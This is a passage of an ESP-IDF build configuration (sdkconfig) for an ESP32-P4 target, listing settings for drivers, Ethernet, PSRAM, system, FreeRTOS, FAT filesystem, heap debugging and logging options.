# end of Driver Configurations
#
# eFuse Bit Manager
#
# CONFIG_EFUSE_CUSTOM_TABLE is not set
# CONFIG_EFUSE_VIRTUAL is not set
CONFIG_EFUSE_MAX_BLK_LEN=256
# end of eFuse Bit Manager
#
# ESP-TLS
#
CONFIG_ESP_TLS_USING_MBEDTLS=y
CONFIG_ESP_TLS_USE_DS_PERIPHERAL=y
# CONFIG_ESP_TLS_CLIENT_SESSION_TICKETS is not set
# CONFIG_ESP_TLS_SERVER_SESSION_TICKETS is not set
# CONFIG_ESP_TLS_SERVER_CERT_SELECT_HOOK is not set
# CONFIG_ESP_TLS_SERVER_MIN_AUTH_MODE_OPTIONAL is not set
# CONFIG_ESP_TLS_PSK_VERIFICATION is not set
# CONFIG_ESP_TLS_INSECURE is not set
# end of ESP-TLS
#
# ADC and ADC Calibration
#
# CONFIG_ADC_ONESHOT_CTRL_FUNC_IN_IRAM is not set
# CONFIG_ADC_CONTINUOUS_ISR_IRAM_SAFE is not set
# CONFIG_ADC_ENABLE_DEBUG_LOG is not set
# end of ADC and ADC Calibration
#
# Wireless Coexistence
#
# CONFIG_ESP_COEX_GPIO_DEBUG is not set
# end of Wireless Coexistence
#
# Common ESP-related
#
CONFIG_ESP_ERR_TO_NAME_LOOKUP=y
# end of Common ESP-related
#
# ESP-Driver:Analog Comparator Configurations
#
# CONFIG_ANA_CMPR_ISR_IRAM_SAFE is not set
# CONFIG_ANA_CMPR_CTRL_FUNC_IN_IRAM is not set
# CONFIG_ANA_CMPR_ENABLE_DEBUG_LOG is not set
# end of ESP-Driver:Analog Comparator Configurations
#
# ESP-Driver:Camera Controller Configurations
#
# CONFIG_CAM_CTLR_MIPI_CSI_ISR_IRAM_SAFE is not set
# CONFIG_CAM_CTLR_ISP_DVP_ISR_IRAM_SAFE is not set
# CONFIG_CAM_CTLR_DVP_CAM_ISR_IRAM_SAFE is not set
# end of ESP-Driver:Camera Controller Configurations
#
# ESP-Driver:GPIO Configurations
#
# CONFIG_GPIO_CTRL_FUNC_IN_IRAM is not set
# end of ESP-Driver:GPIO Configurations
#
# ESP-Driver:GPTimer Configurations
#
CONFIG_GPTIMER_ISR_HANDLER_IN_IRAM=y
# CONFIG_GPTIMER_CTRL_FUNC_IN_IRAM is not set
# CONFIG_GPTIMER_ISR_IRAM_SAFE is not set
# CONFIG_GPTIMER_ENABLE_DEBUG_LOG is not set
# end of ESP-Driver:GPTimer Configurations
#
# ESP-Driver:I2C Configurations
#
# CONFIG_I2C_ISR_IRAM_SAFE is not set
# CONFIG_I2C_ENABLE_DEBUG_LOG is not set
# CONFIG_I2C_ENABLE_SLAVE_DRIVER_VERSION_2 is not set
# end of ESP-Driver:I2C Configurations
#
# ESP-Driver:I2S Configurations
#
# CONFIG_I2S_ISR_IRAM_SAFE is not set
# CONFIG_I2S_ENABLE_DEBUG_LOG is not set
# end of ESP-Driver:I2S Configurations
#
# ESP-Driver:ISP Configurations
#
# CONFIG_ISP_ISR_IRAM_SAFE is not set
# CONFIG_ISP_CTRL_FUNC_IN_IRAM is not set
# end of ESP-Driver:ISP Configurations
#
# ESP-Driver:JPEG-Codec Configurations
#
# CONFIG_JPEG_ENABLE_DEBUG_LOG is not set
# end of ESP-Driver:JPEG-Codec Configurations
#
# ESP-Driver:LEDC Configurations
#
# CONFIG_LEDC_CTRL_FUNC_IN_IRAM is not set
# end of ESP-Driver:LEDC Configurations
#
# ESP-Driver:MCPWM Configurations
#
# CONFIG_MCPWM_ISR_IRAM_SAFE is not set
# CONFIG_MCPWM_CTRL_FUNC_IN_IRAM is not set
# CONFIG_MCPWM_ENABLE_DEBUG_LOG is not set
# end of ESP-Driver:MCPWM Configurations
#
# ESP-Driver:Parallel IO Configurations
#
# CONFIG_PARLIO_ENABLE_DEBUG_LOG is not set
# CONFIG_PARLIO_ISR_IRAM_SAFE is not set
# end of ESP-Driver:Parallel IO Configurations
#
# ESP-Driver:PCNT Configurations
#
# CONFIG_PCNT_CTRL_FUNC_IN_IRAM is not set
# CONFIG_PCNT_ISR_IRAM_SAFE is not set
# CONFIG_PCNT_ENABLE_DEBUG_LOG is not set
# end of ESP-Driver:PCNT Configurations
#
# ESP-Driver:RMT Configurations
#
# CONFIG_RMT_ISR_IRAM_SAFE is not set
# CONFIG_RMT_RECV_FUNC_IN_IRAM is not set
# CONFIG_RMT_ENABLE_DEBUG_LOG is not set
# end of ESP-Driver:RMT Configurations
#
# ESP-Driver:Sigma Delta Modulator Configurations
#
# CONFIG_SDM_CTRL_FUNC_IN_IRAM is not set
# CONFIG_SDM_ENABLE_DEBUG_LOG is not set
# end of ESP-Driver:Sigma Delta Modulator Configurations
#
# ESP-Driver:SPI Configurations
#
# CONFIG_SPI_MASTER_IN_IRAM is not set
CONFIG_SPI_MASTER_ISR_IN_IRAM=y
# CONFIG_SPI_SLAVE_IN_IRAM is not set
CONFIG_SPI_SLAVE_ISR_IN_IRAM=y
# end of ESP-Driver:SPI Configurations
#
# ESP-Driver:Touch Sensor Configurations
#
# CONFIG_TOUCH_CTRL_FUNC_IN_IRAM is not set
# CONFIG_TOUCH_ISR_IRAM_SAFE is not set
# CONFIG_TOUCH_ENABLE_DEBUG_LOG is not set
# end of ESP-Driver:Touch Sensor Configurations
#
# ESP-Driver:Temperature Sensor Configurations
#
# CONFIG_TEMP_SENSOR_ENABLE_DEBUG_LOG is not set
# CONFIG_TEMP_SENSOR_ISR_IRAM_SAFE is not set
# end of ESP-Driver:Temperature Sensor Configurations
#
# ESP-Driver:UART Configurations
#
# CONFIG_UART_ISR_IN_IRAM is not set
# end of ESP-Driver:UART Configurations
#
# ESP-Driver:USB Serial/JTAG Configuration
#
CONFIG_USJ_ENABLE_USB_SERIAL_JTAG=y
# end of ESP-Driver:USB Serial/JTAG Configuration
#
# Ethernet
#
CONFIG_ETH_ENABLED=y
CONFIG_ETH_USE_ESP32_EMAC=y
CONFIG_ETH_PHY_INTERFACE_RMII=y
CONFIG_ETH_DMA_BUFFER_SIZE=512
CONFIG_ETH_DMA_RX_BUFFER_NUM=20
CONFIG_ETH_DMA_TX_BUFFER_NUM=10
# CONFIG_ETH_SOFT_FLOW_CONTROL is not set
# CONFIG_ETH_IRAM_OPTIMIZATION is not set
CONFIG_ETH_USE_SPI_ETHERNET=y
# CONFIG_ETH_SPI_ETHERNET_DM9051 is not set
# CONFIG_ETH_SPI_ETHERNET_W5500 is not set
# CONFIG_ETH_SPI_ETHERNET_KSZ8851SNL is not set
# CONFIG_ETH_USE_OPENETH is not set
# CONFIG_ETH_TRANSMIT_MUTEX is not set
# end of Ethernet
#
# Event Loop Library
#
# CONFIG_ESP_EVENT_LOOP_PROFILING is not set
CONFIG_ESP_EVENT_POST_FROM_ISR=y
CONFIG_ESP_EVENT_POST_FROM_IRAM_ISR=y
# end of Event Loop Library
#
# GDB Stub
#
CONFIG_ESP_GDBSTUB_ENABLED=y
# CONFIG_ESP_SYSTEM_GDBSTUB_RUNTIME is not set
CONFIG_ESP_GDBSTUB_SUPPORT_TASKS=y
CONFIG_ESP_GDBSTUB_MAX_TASKS=32
# end of GDB Stub
#
# ESP HTTP client
#
CONFIG_ESP_HTTP_CLIENT_ENABLE_HTTPS=y
# CONFIG_ESP_HTTP_CLIENT_ENABLE_BASIC_AUTH is not set
# CONFIG_ESP_HTTP_CLIENT_ENABLE_DIGEST_AUTH is not set
# CONFIG_ESP_HTTP_CLIENT_ENABLE_CUSTOM_TRANSPORT is not set
CONFIG_ESP_HTTP_CLIENT_EVENT_POST_TIMEOUT=2000
# end of ESP HTTP client
#
# HTTP Server
#
CONFIG_HTTPD_MAX_REQ_HDR_LEN=512
CONFIG_HTTPD_MAX_URI_LEN=512
CONFIG_HTTPD_ERR_RESP_NO_DELAY=y
CONFIG_HTTPD_PURGE_BUF_LEN=32
# CONFIG_HTTPD_LOG_PURGE_DATA is not set
# CONFIG_HTTPD_WS_SUPPORT is not set
# CONFIG_HTTPD_QUEUE_WORK_BLOCKING is not set
CONFIG_HTTPD_SERVER_EVENT_POST_TIMEOUT=2000
# end of HTTP Server
#
# ESP HTTPS OTA
#
# CONFIG_ESP_HTTPS_OTA_DECRYPT_CB is not set
# CONFIG_ESP_HTTPS_OTA_ALLOW_HTTP is not set
CONFIG_ESP_HTTPS_OTA_EVENT_POST_TIMEOUT=2000
# end of ESP HTTPS OTA
#
# ESP HTTPS server
#
# CONFIG_ESP_HTTPS_SERVER_ENABLE is not set
CONFIG_ESP_HTTPS_SERVER_EVENT_POST_TIMEOUT=2000
# end of ESP HTTPS server
#
# Hardware Settings
#
#
# Chip revision
#
# CONFIG_ESP32P4_REV_MIN_0 is not set
CONFIG_ESP32P4_REV_MIN_1=y
# CONFIG_ESP32P4_REV_MIN_100 is not set
CONFIG_ESP32P4_REV_MIN_FULL=1
CONFIG_ESP_REV_MIN_FULL=1
#
# Maximum Supported ESP32-P4 Revision (Rev v1.99)
#
CONFIG_ESP32P4_REV_MAX_FULL=199
CONFIG_ESP_REV_MAX_FULL=199
CONFIG_ESP_EFUSE_BLOCK_REV_MIN_FULL=0
CONFIG_ESP_EFUSE_BLOCK_REV_MAX_FULL=99
#
# Maximum Supported ESP32-P4 eFuse Block Revision (eFuse Block Rev v0.99)
#
# end of Chip revision
#
# MAC Config
#
CONFIG_ESP_MAC_ADDR_UNIVERSE_ETH=y
CONFIG_ESP_MAC_UNIVERSAL_MAC_ADDRESSES_ONE=y
CONFIG_ESP_MAC_UNIVERSAL_MAC_ADDRESSES=1
CONFIG_ESP32P4_UNIVERSAL_MAC_ADDRESSES_ONE=y
CONFIG_ESP32P4_UNIVERSAL_MAC_ADDRESSES=1
# CONFIG_ESP_MAC_USE_CUSTOM_MAC_AS_BASE_MAC is not set
# end of MAC Config
#
# Sleep Config
#
CONFIG_ESP_SLEEP_FLASH_LEAKAGE_WORKAROUND=y
CONFIG_ESP_SLEEP_PSRAM_LEAKAGE_WORKAROUND=y
# CONFIG_ESP_SLEEP_MSPI_NEED_ALL_IO_PU is not set
# CONFIG_ESP_SLEEP_GPIO_RESET_WORKAROUND is not set
CONFIG_ESP_SLEEP_WAIT_FLASH_READY_EXTRA_DELAY=0
# CONFIG_ESP_SLEEP_CACHE_SAFE_ASSERTION is not set
# CONFIG_ESP_SLEEP_DEBUG is not set
CONFIG_ESP_SLEEP_GPIO_ENABLE_INTERNAL_RESISTORS=y
# end of Sleep Config
#
# RTC Clock Config
#
CONFIG_RTC_CLK_SRC_INT_RC=y
# CONFIG_RTC_CLK_SRC_EXT_CRYS is not set
CONFIG_RTC_CLK_CAL_CYCLES=1024
CONFIG_RTC_FAST_CLK_SRC_RC_FAST=y
# CONFIG_RTC_FAST_CLK_SRC_XTAL is not set
# end of RTC Clock Config
#
# Peripheral Control
#
CONFIG_PERIPH_CTRL_FUNC_IN_IRAM=y
# end of Peripheral Control
#
# ETM Configuration
#
# CONFIG_ETM_ENABLE_DEBUG_LOG is not set
# end of ETM Configuration
#
# GDMA Configurations
#
CONFIG_GDMA_CTRL_FUNC_IN_IRAM=y
# CONFIG_GDMA_ISR_IRAM_SAFE is not set
# CONFIG_GDMA_ENABLE_DEBUG_LOG is not set
# end of GDMA Configurations
#
# DW_GDMA Configurations
#
# CONFIG_DW_GDMA_ENABLE_DEBUG_LOG is not set
# end of DW_GDMA Configurations
#
# 2D-DMA Configurations
#
# CONFIG_DMA2D_OPERATION_FUNC_IN_IRAM is not set
# CONFIG_DMA2D_ISR_IRAM_SAFE is not set
# end of 2D-DMA Configurations
#
# Main XTAL Config
#
CONFIG_XTAL_FREQ_40=y
CONFIG_XTAL_FREQ=40
# end of Main XTAL Config
#
# DCDC Regulator Configurations
#
CONFIG_ESP_SLEEP_KEEP_DCDC_ALWAYS_ON=y
CONFIG_ESP_SLEEP_DCM_VSET_VAL_IN_SLEEP=14
# end of DCDC Regulator Configurations
#
# LDO Regulator Configurations
#
CONFIG_ESP_LDO_RESERVE_SPI_NOR_FLASH=y
CONFIG_ESP_LDO_CHAN_SPI_NOR_FLASH_DOMAIN=1
CONFIG_ESP_LDO_VOLTAGE_SPI_NOR_FLASH_3300_MV=y
CONFIG_ESP_LDO_VOLTAGE_SPI_NOR_FLASH_DOMAIN=3300
CONFIG_ESP_LDO_RESERVE_PSRAM=y
CONFIG_ESP_LDO_CHAN_PSRAM_DOMAIN=2
CONFIG_ESP_LDO_VOLTAGE_PSRAM_1900_MV=y
CONFIG_ESP_LDO_VOLTAGE_PSRAM_DOMAIN=1900
# end of LDO Regulator Configurations
CONFIG_ESP_SPI_BUS_LOCK_ISR_FUNCS_IN_IRAM=y
# end of Hardware Settings
#
# ESP-Driver:LCD Controller Configurations
#
# CONFIG_LCD_ENABLE_DEBUG_LOG is not set
# CONFIG_LCD_RGB_ISR_IRAM_SAFE is not set
# CONFIG_LCD_RGB_RESTART_IN_VSYNC is not set
# CONFIG_LCD_DSI_ISR_IRAM_SAFE is not set
# end of ESP-Driver:LCD Controller Configurations
#
# ESP-MM: Memory Management Configurations
#
# CONFIG_ESP_MM_CACHE_MSYNC_C2M_CHUNKED_OPS is not set
# end of ESP-MM: Memory Management Configurations
#
# ESP NETIF Adapter
#
CONFIG_ESP_NETIF_IP_LOST_TIMER_INTERVAL=120
# CONFIG_ESP_NETIF_PROVIDE_CUSTOM_IMPLEMENTATION is not set
CONFIG_ESP_NETIF_TCPIP_LWIP=y
# CONFIG_ESP_NETIF_LOOPBACK is not set
CONFIG_ESP_NETIF_USES_TCPIP_WITH_BSD_API=y
CONFIG_ESP_NETIF_REPORT_DATA_TRAFFIC=y
# CONFIG_ESP_NETIF_RECEIVE_REPORT_ERRORS is not set
# CONFIG_ESP_NETIF_L2_TAP is not set
# CONFIG_ESP_NETIF_BRIDGE_EN is not set
# CONFIG_ESP_NETIF_SET_DNS_PER_DEFAULT_NETIF is not set
# end of ESP NETIF Adapter
#
# Partition API Configuration
#
# end of Partition API Configuration
#
# PHY
#
# end of PHY
#
# Power Management
#
# CONFIG_PM_ENABLE is not set
# CONFIG_PM_SLP_IRAM_OPT is not set
# CONFIG_PM_POWER_DOWN_PERIPHERAL_IN_LIGHT_SLEEP is not set
# end of Power Management
#
# ESP PSRAM
#
CONFIG_SPIRAM=y
#
# PSRAM config
#
CONFIG_SPIRAM_MODE_HEX=y
CONFIG_SPIRAM_SPEED_200M=y
# CONFIG_SPIRAM_SPEED_20M is not set
CONFIG_SPIRAM_SPEED=200
CONFIG_SPIRAM_FETCH_INSTRUCTIONS=y
CONFIG_SPIRAM_RODATA=y
CONFIG_SPIRAM_XIP_FROM_PSRAM=y
CONFIG_SPIRAM_FLASH_LOAD_TO_PSRAM=y
# CONFIG_SPIRAM_ECC_ENABLE is not set
CONFIG_SPIRAM_BOOT_INIT=y
# CONFIG_SPIRAM_IGNORE_NOTFOUND is not set
# CONFIG_SPIRAM_USE_MEMMAP is not set
# CONFIG_SPIRAM_USE_CAPS_ALLOC is not set
CONFIG_SPIRAM_USE_MALLOC=y
CONFIG_SPIRAM_MEMTEST=y
CONFIG_SPIRAM_MALLOC_ALWAYSINTERNAL=16384
# CONFIG_SPIRAM_TRY_ALLOCATE_WIFI_LWIP is not set
CONFIG_SPIRAM_MALLOC_RESERVE_INTERNAL=32768
# CONFIG_SPIRAM_ALLOW_BSS_SEG_EXTERNAL_MEMORY is not set
# CONFIG_SPIRAM_ALLOW_NOINIT_SEG_EXTERNAL_MEMORY is not set
# end of PSRAM config
# end of ESP PSRAM
#
# ESP Ringbuf
#
# CONFIG_RINGBUF_PLACE_FUNCTIONS_INTO_FLASH is not set
# end of ESP Ringbuf
#
# ESP Security Specific
#
# end of ESP Security Specific
#
# ESP System Settings
#
CONFIG_ESP_DEFAULT_CPU_FREQ_MHZ_360=y
CONFIG_ESP_DEFAULT_CPU_FREQ_MHZ=360
#
# Cache config
#
# CONFIG_CACHE_L2_CACHE_128KB is not set
CONFIG_CACHE_L2_CACHE_256KB=y
# CONFIG_CACHE_L2_CACHE_512KB is not set
CONFIG_CACHE_L2_CACHE_SIZE=0x40000
# CONFIG_CACHE_L2_CACHE_LINE_64B is not set
CONFIG_CACHE_L2_CACHE_LINE_128B=y
CONFIG_CACHE_L2_CACHE_LINE_SIZE=128
CONFIG_CACHE_L1_CACHE_LINE_SIZE=64
# end of Cache config
# CONFIG_ESP_SYSTEM_PANIC_PRINT_HALT is not set
CONFIG_ESP_SYSTEM_PANIC_PRINT_REBOOT=y
# CONFIG_ESP_SYSTEM_PANIC_SILENT_REBOOT is not set
# CONFIG_ESP_SYSTEM_PANIC_GDBSTUB is not set
CONFIG_ESP_SYSTEM_PANIC_REBOOT_DELAY_SECONDS=0
CONFIG_ESP_SYSTEM_RTC_FAST_MEM_AS_HEAP_DEPCHECK=y
CONFIG_ESP_SYSTEM_ALLOW_RTC_FAST_MEM_AS_HEAP=y
# CONFIG_ESP_SYSTEM_USE_EH_FRAME is not set
#
# Memory protection
#
CONFIG_ESP_SYSTEM_PMP_IDRAM_SPLIT=y
# CONFIG_ESP_SYSTEM_PMP_LP_CORE_RESERVE_MEM_EXECUTABLE is not set
# end of Memory protection
CONFIG_ESP_SYSTEM_EVENT_QUEUE_SIZE=32
CONFIG_ESP_SYSTEM_EVENT_TASK_STACK_SIZE=2304
CONFIG_ESP_MAIN_TASK_STACK_SIZE=12288
CONFIG_ESP_MAIN_TASK_AFFINITY_CPU0=y
# CONFIG_ESP_MAIN_TASK_AFFINITY_CPU1 is not set
# CONFIG_ESP_MAIN_TASK_AFFINITY_NO_AFFINITY is not set
CONFIG_ESP_MAIN_TASK_AFFINITY=0x0
CONFIG_ESP_MINIMAL_SHARED_STACK_SIZE=2048
CONFIG_ESP_CONSOLE_UART_DEFAULT=y
# CONFIG_ESP_CONSOLE_USB_SERIAL_JTAG is not set
# CONFIG_ESP_CONSOLE_UART_CUSTOM is not set
# CONFIG_ESP_CONSOLE_NONE is not set
# CONFIG_ESP_CONSOLE_SECONDARY_NONE is not set
CONFIG_ESP_CONSOLE_SECONDARY_USB_SERIAL_JTAG=y
CONFIG_ESP_CONSOLE_USB_SERIAL_JTAG_ENABLED=y
CONFIG_ESP_CONSOLE_UART=y
CONFIG_ESP_CONSOLE_UART_NUM=0
CONFIG_ESP_CONSOLE_ROM_SERIAL_PORT_NUM=0
CONFIG_ESP_CONSOLE_UART_BAUDRATE=115200
CONFIG_ESP_INT_WDT=y
CONFIG_ESP_INT_WDT_TIMEOUT_MS=300
CONFIG_ESP_INT_WDT_CHECK_CPU1=y
CONFIG_ESP_TASK_WDT_EN=y
CONFIG_ESP_TASK_WDT_INIT=y
# CONFIG_ESP_TASK_WDT_PANIC is not set
CONFIG_ESP_TASK_WDT_TIMEOUT_S=5
CONFIG_ESP_TASK_WDT_CHECK_IDLE_TASK_CPU0=y
CONFIG_ESP_TASK_WDT_CHECK_IDLE_TASK_CPU1=y
# CONFIG_ESP_PANIC_HANDLER_IRAM is not set
# CONFIG_ESP_DEBUG_STUBS_ENABLE is not set
CONFIG_ESP_DEBUG_OCDAWARE=y
CONFIG_ESP_SYSTEM_CHECK_INT_LEVEL_4=y
#
# Brownout Detector
#
CONFIG_ESP_BROWNOUT_DET=y
CONFIG_ESP_BROWNOUT_DET_LVL_SEL_7=y
# CONFIG_ESP_BROWNOUT_DET_LVL_SEL_6 is not set
# CONFIG_ESP_BROWNOUT_DET_LVL_SEL_5 is not set
CONFIG_ESP_BROWNOUT_DET_LVL=7
# end of Brownout Detector
CONFIG_ESP_SYSTEM_BROWNOUT_INTR=y
CONFIG_ESP_SYSTEM_HW_STACK_GUARD=y
CONFIG_ESP_SYSTEM_HW_PC_RECORD=y
# end of ESP System Settings
#
# IPC (Inter-Processor Call)
#
CONFIG_ESP_IPC_TASK_STACK_SIZE=1024
CONFIG_ESP_IPC_USES_CALLERS_PRIORITY=y
CONFIG_ESP_IPC_ISR_ENABLE=y
# end of IPC (Inter-Processor Call)
#
# ESP Timer (High Resolution Timer)
#
# CONFIG_ESP_TIMER_PROFILING is not set
CONFIG_ESP_TIME_FUNCS_USE_RTC_TIMER=y
CONFIG_ESP_TIME_FUNCS_USE_ESP_TIMER=y
CONFIG_ESP_TIMER_TASK_STACK_SIZE=3584
CONFIG_ESP_TIMER_INTERRUPT_LEVEL=1
# CONFIG_ESP_TIMER_SHOW_EXPERIMENTAL is not set
CONFIG_ESP_TIMER_TASK_AFFINITY=0x0
CONFIG_ESP_TIMER_TASK_AFFINITY_CPU0=y
CONFIG_ESP_TIMER_ISR_AFFINITY_CPU0=y
# CONFIG_ESP_TIMER_SUPPORTS_ISR_DISPATCH_METHOD is not set
CONFIG_ESP_TIMER_IMPL_SYSTIMER=y
# end of ESP Timer (High Resolution Timer)
#
# Wi-Fi
#
# CONFIG_ESP_HOST_WIFI_ENABLED is not set
# end of Wi-Fi
#
# Core dump
#
# CONFIG_ESP_COREDUMP_ENABLE_TO_FLASH is not set
# CONFIG_ESP_COREDUMP_ENABLE_TO_UART is not set
CONFIG_ESP_COREDUMP_ENABLE_TO_NONE=y
# end of Core dump
#
# FAT Filesystem support
#
CONFIG_FATFS_VOLUME_COUNT=2
CONFIG_FATFS_LFN_NONE=y
# CONFIG_FATFS_LFN_HEAP is not set
# CONFIG_FATFS_LFN_STACK is not set
# CONFIG_FATFS_SECTOR_512 is not set
CONFIG_FATFS_SECTOR_4096=y
# CONFIG_FATFS_CODEPAGE_DYNAMIC is not set
CONFIG_FATFS_CODEPAGE_437=y
# CONFIG_FATFS_CODEPAGE_720 is not set
# CONFIG_FATFS_CODEPAGE_737 is not set
# CONFIG_FATFS_CODEPAGE_771 is not set
# CONFIG_FATFS_CODEPAGE_775 is not set
# CONFIG_FATFS_CODEPAGE_850 is not set
# CONFIG_FATFS_CODEPAGE_852 is not set
# CONFIG_FATFS_CODEPAGE_855 is not set
# CONFIG_FATFS_CODEPAGE_857 is not set
# CONFIG_FATFS_CODEPAGE_860 is not set
# CONFIG_FATFS_CODEPAGE_861 is not set
# CONFIG_FATFS_CODEPAGE_862 is not set
# CONFIG_FATFS_CODEPAGE_863 is not set
# CONFIG_FATFS_CODEPAGE_864 is not set
# CONFIG_FATFS_CODEPAGE_865 is not set
# CONFIG_FATFS_CODEPAGE_866 is not set
# CONFIG_FATFS_CODEPAGE_869 is not set
# CONFIG_FATFS_CODEPAGE_932 is not set
# CONFIG_FATFS_CODEPAGE_936 is not set
# CONFIG_FATFS_CODEPAGE_949 is not set
# CONFIG_FATFS_CODEPAGE_950 is not set
CONFIG_FATFS_CODEPAGE=437
CONFIG_FATFS_FS_LOCK=0
CONFIG_FATFS_TIMEOUT_MS=10000
CONFIG_FATFS_PER_FILE_CACHE=y
CONFIG_FATFS_ALLOC_PREFER_EXTRAM=y
# CONFIG_FATFS_USE_FASTSEEK is not set
CONFIG_FATFS_USE_STRFUNC_NONE=y
# CONFIG_FATFS_USE_STRFUNC_WITHOUT_CRLF_CONV is not set
# CONFIG_FATFS_USE_STRFUNC_WITH_CRLF_CONV is not set
CONFIG_FATFS_VFS_FSTAT_BLKSIZE=0
# CONFIG_FATFS_IMMEDIATE_FSYNC is not set
# CONFIG_FATFS_USE_LABEL is not set
CONFIG_FATFS_LINK_LOCK=y
# end of FAT Filesystem support
#
# FreeRTOS
#
#
# Kernel
#
# CONFIG_FREERTOS_UNICORE is not set
CONFIG_FREERTOS_HZ=1000
# CONFIG_FREERTOS_CHECK_STACKOVERFLOW_NONE is not set
# CONFIG_FREERTOS_CHECK_STACKOVERFLOW_PTRVAL is not set
CONFIG_FREERTOS_CHECK_STACKOVERFLOW_CANARY=y
CONFIG_FREERTOS_THREAD_LOCAL_STORAGE_POINTERS=1
CONFIG_FREERTOS_IDLE_TASK_STACKSIZE=1536
# CONFIG_FREERTOS_USE_IDLE_HOOK is not set
# CONFIG_FREERTOS_USE_TICK_HOOK is not set
CONFIG_FREERTOS_MAX_TASK_NAME_LEN=16
# CONFIG_FREERTOS_ENABLE_BACKWARD_COMPATIBILITY is not set
CONFIG_FREERTOS_USE_TIMERS=y
CONFIG_FREERTOS_TIMER_SERVICE_TASK_NAME="Tmr Svc"
# CONFIG_FREERTOS_TIMER_TASK_AFFINITY_CPU0 is not set
# CONFIG_FREERTOS_TIMER_TASK_AFFINITY_CPU1 is not set
CONFIG_FREERTOS_TIMER_TASK_NO_AFFINITY=y
CONFIG_FREERTOS_TIMER_SERVICE_TASK_CORE_AFFINITY=0x7FFFFFFF
CONFIG_FREERTOS_TIMER_TASK_PRIORITY=1
CONFIG_FREERTOS_TIMER_TASK_STACK_DEPTH=2048
CONFIG_FREERTOS_TIMER_QUEUE_LENGTH=10
CONFIG_FREERTOS_QUEUE_REGISTRY_SIZE=0
CONFIG_FREERTOS_TASK_NOTIFICATION_ARRAY_ENTRIES=1
CONFIG_FREERTOS_USE_TRACE_FACILITY=y
CONFIG_FREERTOS_USE_STATS_FORMATTING_FUNCTIONS=y
# CONFIG_FREERTOS_USE_LIST_DATA_INTEGRITY_CHECK_BYTES is not set
CONFIG_FREERTOS_VTASKLIST_INCLUDE_COREID=y
CONFIG_FREERTOS_GENERATE_RUN_TIME_STATS=y
CONFIG_FREERTOS_RUN_TIME_COUNTER_TYPE_U32=y
# CONFIG_FREERTOS_RUN_TIME_COUNTER_TYPE_U64 is not set
# CONFIG_FREERTOS_USE_APPLICATION_TASK_TAG is not set
# end of Kernel
#
# Port
#
# CONFIG_FREERTOS_WATCHPOINT_END_OF_STACK is not set
CONFIG_FREERTOS_TLSP_DELETION_CALLBACKS=y
# CONFIG_FREERTOS_TASK_PRE_DELETION_HOOK is not set
# CONFIG_FREERTOS_ENABLE_STATIC_TASK_CLEAN_UP is not set
CONFIG_FREERTOS_CHECK_MUTEX_GIVEN_BY_OWNER=y
CONFIG_FREERTOS_ISR_STACKSIZE=1536
CONFIG_FREERTOS_INTERRUPT_BACKTRACE=y
CONFIG_FREERTOS_TICK_SUPPORT_SYSTIMER=y
CONFIG_FREERTOS_CORETIMER_SYSTIMER_LVL1=y
# CONFIG_FREERTOS_CORETIMER_SYSTIMER_LVL3 is not set
CONFIG_FREERTOS_SYSTICK_USES_SYSTIMER=y
CONFIG_FREERTOS_RUN_TIME_STATS_USING_ESP_TIMER=y
# CONFIG_FREERTOS_PLACE_FUNCTIONS_INTO_FLASH is not set
# CONFIG_FREERTOS_CHECK_PORT_CRITICAL_COMPLIANCE is not set
# end of Port
#
# Extra
#
CONFIG_FREERTOS_TASK_CREATE_ALLOW_EXT_MEM=y
# end of Extra
CONFIG_FREERTOS_PORT=y
CONFIG_FREERTOS_NO_AFFINITY=0x7FFFFFFF
CONFIG_FREERTOS_SUPPORT_STATIC_ALLOCATION=y
CONFIG_FREERTOS_DEBUG_OCDAWARE=y
CONFIG_FREERTOS_ENABLE_TASK_SNAPSHOT=y
CONFIG_FREERTOS_PLACE_SNAPSHOT_FUNS_INTO_FLASH=y
CONFIG_FREERTOS_NUMBER_OF_CORES=2
# end of FreeRTOS
#
# Hardware Abstraction Layer (HAL) and Low Level (LL)
#
CONFIG_HAL_ASSERTION_EQUALS_SYSTEM=y
# CONFIG_HAL_ASSERTION_DISABLE is not set
# CONFIG_HAL_ASSERTION_SILENT is not set
# CONFIG_HAL_ASSERTION_ENABLE is not set
CONFIG_HAL_DEFAULT_ASSERTION_LEVEL=2
CONFIG_HAL_SYSTIMER_USE_ROM_IMPL=y
CONFIG_HAL_WDT_USE_ROM_IMPL=y
CONFIG_HAL_SPI_MASTER_FUNC_IN_IRAM=y
CONFIG_HAL_SPI_SLAVE_FUNC_IN_IRAM=y
# CONFIG_HAL_ECDSA_GEN_SIG_CM is not set
# end of Hardware Abstraction Layer (HAL) and Low Level (LL)
#
# Heap memory debugging
#
CONFIG_HEAP_POISONING_DISABLED=y
# CONFIG_HEAP_POISONING_LIGHT is not set
# CONFIG_HEAP_POISONING_COMPREHENSIVE is not set
CONFIG_HEAP_TRACING_OFF=y
# CONFIG_HEAP_TRACING_STANDALONE is not set
# CONFIG_HEAP_TRACING_TOHOST is not set
# CONFIG_HEAP_USE_HOOKS is not set
# CONFIG_HEAP_TASK_TRACKING is not set
# CONFIG_HEAP_ABORT_WHEN_ALLOCATION_FAILS is not set
# CONFIG_HEAP_PLACE_FUNCTION_INTO_FLASH is not set
# end of Heap memory debugging
#
# Log
#
#
# Log Level
#
# CONFIG_LOG_DEFAULT_LEVEL_NONE is not set
# CONFIG_LOG_DEFAULT_LEVEL_ERROR is not set
# CONFIG_LOG_DEFAULT_LEVEL_WARN is not set
CONFIG_LOG_DEFAULT_LEVEL_INFO=y
# CONFIG_LOG_DEFAULT_LEVEL_DEBUG is not set
# CONFIG_LOG_DEFAULT_LEVEL_VERBOSE is not set
CONFIG_LOG_DEFAULT_LEVEL=3
CONFIG_LOG_MAXIMUM_EQUALS_DEFAULT=y
# CONFIG_LOG_MAXIMUM_LEVEL_DEBUG is not set
# CONFIG_LOG_MAXIMUM_LEVEL_VERBOSE is not set
CONFIG_LOG_MAXIMUM_LEVEL=3
#
# Level Settings
#
# CONFIG_LOG_MASTER_LEVEL is not set
CONFIG_LOG_DYNAMIC_LEVEL_CONTROL=y
# CONFIG_LOG_TAG_LEVEL_IMPL_NONE is not set
# CONFIG_LOG_TAG_LEVEL_IMPL_LINKED_LIST is not set
CONFIG_LOG_TAG_LEVEL_IMPL_CACHE_AND_LINKED_LIST=y
# CONFIG_LOG_TAG_LEVEL_CACHE_ARRAY is not set
CONFIG_LOG_TAG_LEVEL_CACHE_BINARY_MIN_HEAP=y
CONFIG_LOG_TAG_LEVEL_IMPL_CACHE_SIZE=31
# end of Level Settings
# end of Log Level
#
# Format
#
CONFIG_LOG_COLORS=y
